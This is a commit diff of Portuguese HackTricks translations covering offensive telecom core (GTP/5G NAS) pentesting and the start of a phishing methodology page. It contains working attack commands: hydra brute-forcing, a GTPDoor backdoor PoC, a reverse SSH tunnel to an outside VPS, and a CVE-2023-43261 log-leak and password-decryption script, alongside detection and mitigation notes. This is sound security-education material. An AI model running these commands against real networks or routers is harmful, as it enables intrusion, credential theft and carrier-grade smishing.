mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
8cda91e328
commit
6550e950ee
@ -3,25 +3,25 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Protocolos de núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles trafegam sobre plain UDP com quase nenhuma autenticação, **qualquer ponto de apoio dentro do perímetro de uma operadora geralmente pode alcançar diretamente os planos de sinalização do core**. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
|
||||
> Protocolos do núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming semi-confiáveis GRX/IPX. Como eles trafegam sobre UDP simples com quase nenhuma autenticação, **qualquer ponto de apoio dentro do perímetro da operadora normalmente pode alcançar diretamente os planos de sinalização core**. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
|
||||
|
||||
## 1. Recon & Acesso Inicial
|
||||
## 1. Reconhecimento & Acesso Inicial
|
||||
|
||||
### 1.1 Contas padrão OSS / NE
|
||||
Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Um wordlist dedicado aumenta dramaticamente o sucesso de brute-force:
|
||||
### 1.1 Contas OSS / NE padrão
|
||||
Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet hard-coded, tais como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Se o dispositivo expõe apenas um VRF de gerenciamento, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
|
||||
Se o dispositivo expõe apenas um management VRF, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
|
||||
|
||||
### 1.2 Descoberta de Hosts dentro de GRX/IPX
|
||||
A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as sondas UDP `gtpv1` embutidas para mapear rapidamente os listeners GTP-C:
|
||||
### 1.2 Descoberta de Hosts dentro do GRX/IPX
|
||||
A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os listeners GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumerating Subscribers – `cordscan`
|
||||
## 2. Enumeração de Assinantes – `cordscan`
|
||||
|
||||
A seguinte ferramenta Go cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que serve o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
|
||||
A ferramenta Go a seguir cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o **SGSN / MME** atual que serve o IMSI consultado e, às vezes, a PLMN visitada pelo assinante.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -32,17 +32,17 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
Flags principais:
|
||||
- `--imsi` IMSI do assinante alvo
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Grava raw packets para pcap
|
||||
- `-w` Gravar pacotes brutos em pcap
|
||||
|
||||
Constantes importantes dentro do binário podem ser patchadas para ampliar as varreduras:
|
||||
Constantes importantes dentro do binário podem ser modificadas para ampliar as varreduras:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
## 3. Execução de Código sobre GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` é um pequeno serviço ELF que **faz bind em UDP 2123 e analisa todo pacote GTP-C recebido**. Quando o payload começa com uma tag pré-compartilhada, o restante é decriptado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response**, de modo que nunca é criada uma sessão de saída.
|
||||
`GTPDoor` é um pequeno serviço ELF que escuta em UDP 2123 e parseia todo pacote GTP-C recebido. Quando o payload começa com uma pre-shared tag, o restante é decriptado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens Echo Response para que nenhuma sessão de saída seja criada.
|
||||
|
||||
Pacote PoC mínimo (Python):
|
||||
```python
|
||||
@ -53,35 +53,35 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detecção:
|
||||
* qualquer host enviando **unbalanced Echo Requests** para IPs do SGSN
|
||||
* flag de versão do GTP definido como 1 enquanto message type = 1 (Echo) – desvio da especificação
|
||||
* qualquer host enviando **unbalanced Echo Requests** para os IPs do SGSN
|
||||
* flag de versão do GTP setada para 1 enquanto message type = 1 (Echo) – desvio da especificação
|
||||
|
||||
## 4. Pivoting através do Core
|
||||
## 4. Pivoting Through the Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` inclui um emulador SGSN capaz de **establish a PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer.
|
||||
`OsmoGGSN` inclui um emulador SGSN capaz de **estabelecer um PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Com o firewall hair-pinning adequado, este túnel contorna VLANs apenas de signalling e o coloca diretamente no **plano de dados**.
|
||||
Com o firewall hair-pinning adequado, este túnel contorna VLANs somente de sinalização e o coloca diretamente no **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS quase sempre está aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando em :53 e retorne depois de casa:
|
||||
DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno para o seu VPS escutando em :53 e retorne depois a partir de casa:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Verifique se `GatewayPorts yes` está habilitado no VPS.
|
||||
Verifique se `GatewayPorts yes` está ativado no VPS.
|
||||
|
||||
## 5. Canais Clandestinos
|
||||
## 5. Canais encobertos
|
||||
|
||||
| Canal | Transporte | Decodificação | Observações |
|
||||
|-------|-----------|--------------|-------------|
|
||||
| Canal | Transporte | Decodificação | Notas |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | ouvinte puramente passivo, sem tráfego de saída |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | monitora o subdomínio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mistura-se ao tráfego legítimo de GTP-C |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se mistura ao tráfego legítimo de GTP-C |
|
||||
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
|
||||
|
||||
@ -118,74 +118,74 @@ rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Caixa de Ferramentas
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling descrito nas seções anteriores.
|
||||
* `FScan` : varreduras TCP na intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : pivoting SOCKS5 leve
|
||||
* `FRP` (≥0.37) : NAT traversal / ponte entre ativos
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. Ataques de registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
## 9. Ataques de Registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) por cima de NGAP. Até que a NAS security seja ativada por Security Mode Command/Complete, mensagens iniciais são não autenticadas e não encriptadas. Essa janela pré-segurança permite vários caminhos de ataque quando você pode observar ou adulterar o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).
|
||||
O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) por cima de NGAP. Até que a segurança NAS seja ativada por Security Mode Command/Complete, as mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança permite múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou ambiente de testes).
|
||||
|
||||
Registration flow (simplified):
|
||||
Fluxo de registro (simplificado):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
|
||||
Dicas para laboratório (non-RF):
|
||||
- Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
|
||||
- UE: simulador ou UE de teste; decodifique usando o Wireshark.
|
||||
Dicas de configuração de laboratório (não-RF):
|
||||
- Core: Open5GS default deployment is sufficient to reproduce flows.
|
||||
- UE: simulator or test UE; decode using Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Esperado: UE/USIM deve transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite rastreamento persistente do assinante.
|
||||
### 9.1 Privacidade de identificador: falhas de SUCI expondo SUPI/IMSI
|
||||
Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que possibilita tracking persistente do assinante.
|
||||
|
||||
Como testar:
|
||||
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
|
||||
- Wireshark quick checks:
|
||||
- It should decode as SUCI, not IMSI.
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates um leak.
|
||||
- Capture a primeira mensagem NAS em InitialUEMessage e inspecione o Mobile Identity IE.
|
||||
- Verificações rápidas no Wireshark:
|
||||
- Deve decodificar como SUCI, não como IMSI.
|
||||
- Exemplos de filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` deve existir; ausência disso junto com presença de `imsi` indica vazamento.
|
||||
|
||||
O que coletar:
|
||||
- MCC/MNC/MSIN se expostos; registre por UE e rastreie ao longo do tempo/localizações.
|
||||
- MCC/MNC/MSIN se expostos; log por UE e rastrear ao longo do tempo/locais.
|
||||
|
||||
Mitigação:
|
||||
- Exigir UEs/USIMs que enviem somente SUCI; alertar sobre qualquer IMSI/SUPI no NAS inicial.
|
||||
- Forçar UEs/USIMs a usar apenas SUCI; alertar sobre qualquer IMSI/SUPI em NAS inicial.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
### 9.2 Rebaixamento de capacidades (bidding-down) para algoritmos nulos (EEA0/EIA0)
|
||||
Contexto:
|
||||
- UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
|
||||
- UE informa EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
|
||||
- Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.
|
||||
|
||||
Problema:
|
||||
- Porque o Registration Request não é protegido por integridade, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência.
|
||||
- Como o Registration Request não é protegido por integridade, um atacante on-path pode zerar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks aceitam erroneamente algoritmos nulos fora de serviços de emergência.
|
||||
|
||||
Passos ofensivos:
|
||||
- Intercept InitialUEMessage e modifique o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
|
||||
- Com Sni5Gect, hook a mensagem NAS e patch os bits de capability antes de encaminhar.
|
||||
- Observe se o AMF aceita cifras/integridade nulas e completa o Security Mode com EEA0/EIA0.
|
||||
- Intercept InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
|
||||
- Com Sni5Gect, hook na mensagem NAS e patch nos bits de capability antes de encaminhar.
|
||||
- Observar se o AMF aceita chaves/ciphers nulos e completa o Security Mode com EEA0/EIA0.
|
||||
|
||||
Verificação/visibilidade:
|
||||
- No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
|
||||
- Exemplo de saída de sniffer passivo:
|
||||
- Example passive sniffer output:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigações (obrigatórias):
|
||||
- Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência).
|
||||
- Prefira aplicar EEA2/EIA2 como mínimo; registrar e gerar alarmes para qualquer contexto de segurança NAS que negocie algoritmos nulos.
|
||||
- Configure AMF/policy para rejeitar EEA0/EIA0 exceto onde estritamente mandatado (por exemplo, chamadas de emergência).
|
||||
- Prefira aplicar EEA2/EIA2 no mínimo; registrar e gerar alarmes em qualquer contexto de segurança NAS que negocie null algorithms.
|
||||
|
||||
### 9.3 Replay de initial Registration Request (pre-security NAS)
|
||||
Porque o initial NAS carece de integridade e freshness, a InitialUEMessage+Registration Request capturada pode ser replayed para o AMF.
|
||||
### 9.3 Replay da Registration Request inicial (pre-security NAS)
|
||||
Porque o NAS inicial carece de integridade e recência, o InitialUEMessage+Registration Request capturado pode ser reproduzido para o AMF.
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
Regra PoC para 5GReplay encaminhar replays correspondentes:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
@ -208,34 +208,93 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
What to observe:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
O que observar:
|
||||
- Se o AMF aceita o replay e procede para a Authentication; a falta de validação de freshness/context indica exposição.
|
||||
|
||||
Mitigations:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
Mitigações:
|
||||
- Aplicar proteção contra replay/binding de contexto no AMF; rate-limit e correlacionar por GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
### 9.4 Dicas de ferramentas (reproduzível)
|
||||
- Open5GS: spin up um AMF/SMF/UPF para emular o core; observar N2 (NGAP) e NAS.
|
||||
- Wireshark: verificar decodificações de NGAP/NAS; aplicar os filtros acima para isolar Registration.
|
||||
- 5GReplay: capturar uma registration, depois replay de mensagens NGAP + NAS específicas conforme a regra.
|
||||
- Sni5Gect: sniff/modify/inject em tempo real o plano de controlo NAS para forçar algoritmos null ou perturbar sequências de authentication.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
### 9.5 Checklist defensivo
|
||||
- Inspecionar continuamente Registration Request em busca de SUPI/IMSI em texto claro; bloquear dispositivos/USIMs ofensores.
|
||||
- Rejeitar EEA0/EIA0, exceto para procedimentos de emergência estritamente definidos; exigir pelo menos EEA2/EIA2.
|
||||
- Detectar infraestrutura rogue ou mal configurada: gNB/AMF não autorizados, peers N2 inesperados.
|
||||
- Alertar sobre modos de segurança NAS que resultam em algoritmos null ou replays frequentes de InitialUEMessage.
|
||||
|
||||
---
|
||||
## Ideias de detecção
|
||||
1. **Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Create PDP Context Requests**.
|
||||
2. **Portas não padrão (53, 80, 443) recebendo SSH handshakes** de IPs internos.
|
||||
3. **Echo Requests frequentes sem as correspondentes Echo Responses** – pode indicar beacons GTPDoor.
|
||||
4. **Alta taxa de tráfego ICMP echo-reply com campos identifier/sequence grandes e não zero**.
|
||||
5. 5G: **InitialUEMessage transportando NAS Registration Requests repetidos de endpoints idênticos** (sinal de replay).
|
||||
6. 5G: **NAS Security Mode negociando EEA0/EIA0** fora de contextos de emergência.
|
||||
|
||||
## References
|
||||
## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
|
||||
|
||||
Abusar APIs web expostas de routers celulares industriais permite smishing furtivo originado pela operadora em escala. Os routers Milesight da série UR expõem um endpoint no estilo JSON-RPC em `/cgi`. Quando mal configurada, a API pode ser consultada sem autenticação para listar inbox/outbox de SMS e, em algumas implantações, para enviar SMS.
|
||||
|
||||
Requisições típicas não autenticadas (mesma estrutura para inbox/outbox):
|
||||
```http
|
||||
POST /cgi HTTP/1.1
|
||||
Host: <router>
|
||||
Content-Type: application/json
|
||||
|
||||
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
|
||||
```
|
||||
|
||||
```json
|
||||
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
|
||||
```
|
||||
Respostas incluem campos como `timestamp`, `content`, `phone_number` (E.164) e `status` (`success` ou `failed`). Envios repetidos com `failed` para o mesmo número costumam ser “capability checks” do atacante para validar que um router/SIM consegue entregar antes de blasting.
|
||||
|
||||
Exemplo de curl para exfiltrar metadados de SMS:
|
||||
```bash
|
||||
curl -sk -X POST http://<router>/cgi \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
|
||||
```
|
||||
Notas sobre artefatos de auth:
|
||||
- Alguns tráfegos podem incluir um auth cookie, mas uma grande parte dos dispositivos expostos responde sem qualquer autenticação a `query_inbox`/`query_outbox` quando a interface de gestão está exposta à Internet.
|
||||
- Em ambientes que requerem auth, previously-leaked credentials (veja abaixo) restauram o acesso.
|
||||
|
||||
Caminho de recuperação de credenciais – CVE-2023-43261:
|
||||
- Famílias afetadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
|
||||
- Problema: logs servidos via web (por exemplo, `httpd.log`) são acessíveis sem autenticação em `/lang/log/` e contêm eventos de login de admin com a senha criptografada usando uma AES key/IV hardcoded presente em JavaScript do lado do cliente.
|
||||
- Acesso prático e descriptografia:
|
||||
```bash
|
||||
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
|
||||
# Look for entries like: {"username":"admin","password":"<base64>"}
|
||||
```
|
||||
Python mínimo para descriptografar leaked passwords (AES-128-CBC, hardcoded key/IV):
|
||||
```python
|
||||
import base64
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
KEY=b'1111111111111111'; IV=b'2222222222222222'
|
||||
enc_b64='...' # value from httpd.log
|
||||
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
|
||||
```
|
||||
Hunting e ideias de detecção (rede):
|
||||
- Disparar alerta em `POST /cgi` não autenticados cujo corpo JSON contém `base`/`function` definido como `query_inbox` ou `query_outbox`.
|
||||
- Rastrear rajadas repetidas de `POST /cgi` seguidas por entradas `status":"failed"` em muitos números únicos vindos do mesmo IP de origem (capability testing).
|
||||
- Inventariar Milesight routers expostos à Internet; restringir gestão a VPN; desabilitar recursos de SMS a menos que necessários; atualizar para ≥ v35.3.0.7; rotacionar credenciais e revisar SMS logs por envios desconhecidos.
|
||||
|
||||
Shodan/OSINT pivots (exemplos vistos na prática):
|
||||
- `http.html:"rt_title"` casa com painéis de Milesight router.
|
||||
- Google dorking para logs expostos: `"/lang/log/system" ext:log`.
|
||||
|
||||
Impacto operacional: usar SIMs de operadoras legítimas dentro dos routers fornece altíssima deliverability/credibility de SMS para phishing, enquanto a exposição de inbox/outbox leaks sensitive metadata at scale.
|
||||
|
||||
---
|
||||
|
||||
## Ideias de Detecção
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
@ -243,5 +302,8 @@ Mitigations:
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
|
||||
- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
|
||||
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,42 +4,42 @@
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Recon the victim
|
||||
1. Selecione o **domínio da vítima**.
|
||||
2. Faça alguma enumeração web básica **procurando portais de login** usados pela vítima e **decida** qual deles você irá **se passar por**.
|
||||
3. Use **OSINT** para **encontrar e-mails**.
|
||||
2. Prepare o ambiente
|
||||
1. Recon da vítima
|
||||
1. Selecione o **victim domain**.
|
||||
2. Realize uma enumeração web básica **procurando por login portals** usados pela vítima e **decida** qual você irá **impersonate**.
|
||||
3. Use OSINT para **encontrar emails**.
|
||||
2. Preparar o ambiente
|
||||
1. **Compre o domínio** que você vai usar para a avaliação de phishing
|
||||
2. **Configure o serviço de email** e os registros relacionados (SPF, DMARC, DKIM, rDNS)
|
||||
2. **Configure os registros do serviço de email** relacionados (SPF, DMARC, DKIM, rDNS)
|
||||
3. Configure o VPS com **gophish**
|
||||
3. Prepare a campanha
|
||||
1. Prepare o **modelo de email**
|
||||
2. Prepare a **página web** para roubar as credenciais
|
||||
3. Preparar a campanha
|
||||
1. Prepare o **email template**
|
||||
2. Prepare a **web page** para roubar as credenciais
|
||||
4. Lance a campanha!
|
||||
|
||||
## Generate similar domain names or buy a trusted domain
|
||||
## Gerar nomes de domínio similares ou comprar um domínio confiável
|
||||
|
||||
### Domain Name Variation Techniques
|
||||
### Técnicas de variação de Nome de Domínio
|
||||
|
||||
- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com).
|
||||
- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
|
||||
- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
|
||||
- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
|
||||
- **Keyword**: O nome do domínio **contém** uma **keyword** importante do domínio original (por exemplo, zelster.com-management.com).
|
||||
- **hypened subdomain**: Trocar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com).
|
||||
- **New TLD**: Mesmo domínio usando um **novo TLD** (por exemplo, zelster.org)
|
||||
- **Homoglyph**: Substitui uma letra no nome do domínio por **letras que parecem similares** (por exemplo, zelfser.com).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
homograph-attacks.md
|
||||
{{#endref}}
|
||||
- **Transposition:** Ele **troca duas letras** dentro do nome de domínio (e.g., zelsetr.com).
|
||||
- **Singularization/Pluralization**: Adiciona ou remove “s” no final do nome de domínio (e.g., zeltsers.com).
|
||||
- **Omission**: Remove uma das letras do nome de domínio (e.g., zelser.com).
|
||||
- **Repetition:** Repete uma das letras no nome de domínio (e.g., zeltsser.com).
|
||||
- **Replacement**: Como homoglyph mas menos furtivo. Substitui uma das letras no nome de domínio, talvez por uma letra próxima da original no teclado (e.g, zektser.com).
|
||||
- **Subdomained**: Introduz um **ponto** dentro do nome de domínio (e.g., ze.lster.com).
|
||||
- **Insertion**: Insere uma letra no nome de domínio (e.g., zerltser.com).
|
||||
- **Missing dot**: Anexa a TLD ao nome de domínio (e.g., zelstercom.com)
|
||||
- **Transposition:** Troca duas letras dentro do nome do domínio (por exemplo, zelsetr.com).
|
||||
- **Singularization/Pluralization**: Adiciona ou remove “s” no final do nome do domínio (por exemplo, zeltsers.com).
|
||||
- **Omission**: Remove uma das letras do nome do domínio (por exemplo, zelser.com).
|
||||
- **Repetition:** Repete uma das letras do nome do domínio (por exemplo, zeltsser.com).
|
||||
- **Replacement**: Como homoglyph, mas menos furtivo. Substitui uma das letras do nome do domínio, possivelmente por uma letra próxima no teclado (por exemplo, zektser.com).
|
||||
- **Subdomained**: Introduz um **ponto** dentro do nome do domínio (por exemplo, ze.lster.com).
|
||||
- **Insertion**: Insere uma letra no nome do domínio (por exemplo, zerltser.com).
|
||||
- **Missing dot**: Anexa o TLD ao nome do domínio. (por exemplo, zelstercom.com)
|
||||
|
||||
**Automatic Tools**
|
||||
**Ferramentas Automáticas**
|
||||
|
||||
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
@ -52,43 +52,43 @@ homograph-attacks.md
|
||||
|
||||
### Bitflipping
|
||||
|
||||
There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors.
|
||||
Existe a **possibilidade de que alguns bits armazenados ou em comunicação sejam automaticamente invertidos** devido a vários fatores como erupções solares, raios cósmicos ou falhas de hardware.
|
||||
|
||||
When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested.
|
||||
Quando esse conceito é **aplicado a requisições DNS**, é possível que o **domínio recebido pelo servidor DNS** não seja o mesmo que o domínio inicialmente solicitado.
|
||||
|
||||
For example, a single bit modification in the domain "windows.com" can change it to "windnws.com."
|
||||
Por exemplo, uma única modificação de bit no domínio "windows.com" pode alterá-lo para "windnws.com."
|
||||
|
||||
Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure.
|
||||
Atacantes podem **tirar vantagem disso registrando múltiplos domínios bit-flipping** que são similares ao domínio da vítima. A intenção é redirecionar usuários legítimos para sua própria infraestrutura.
|
||||
|
||||
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
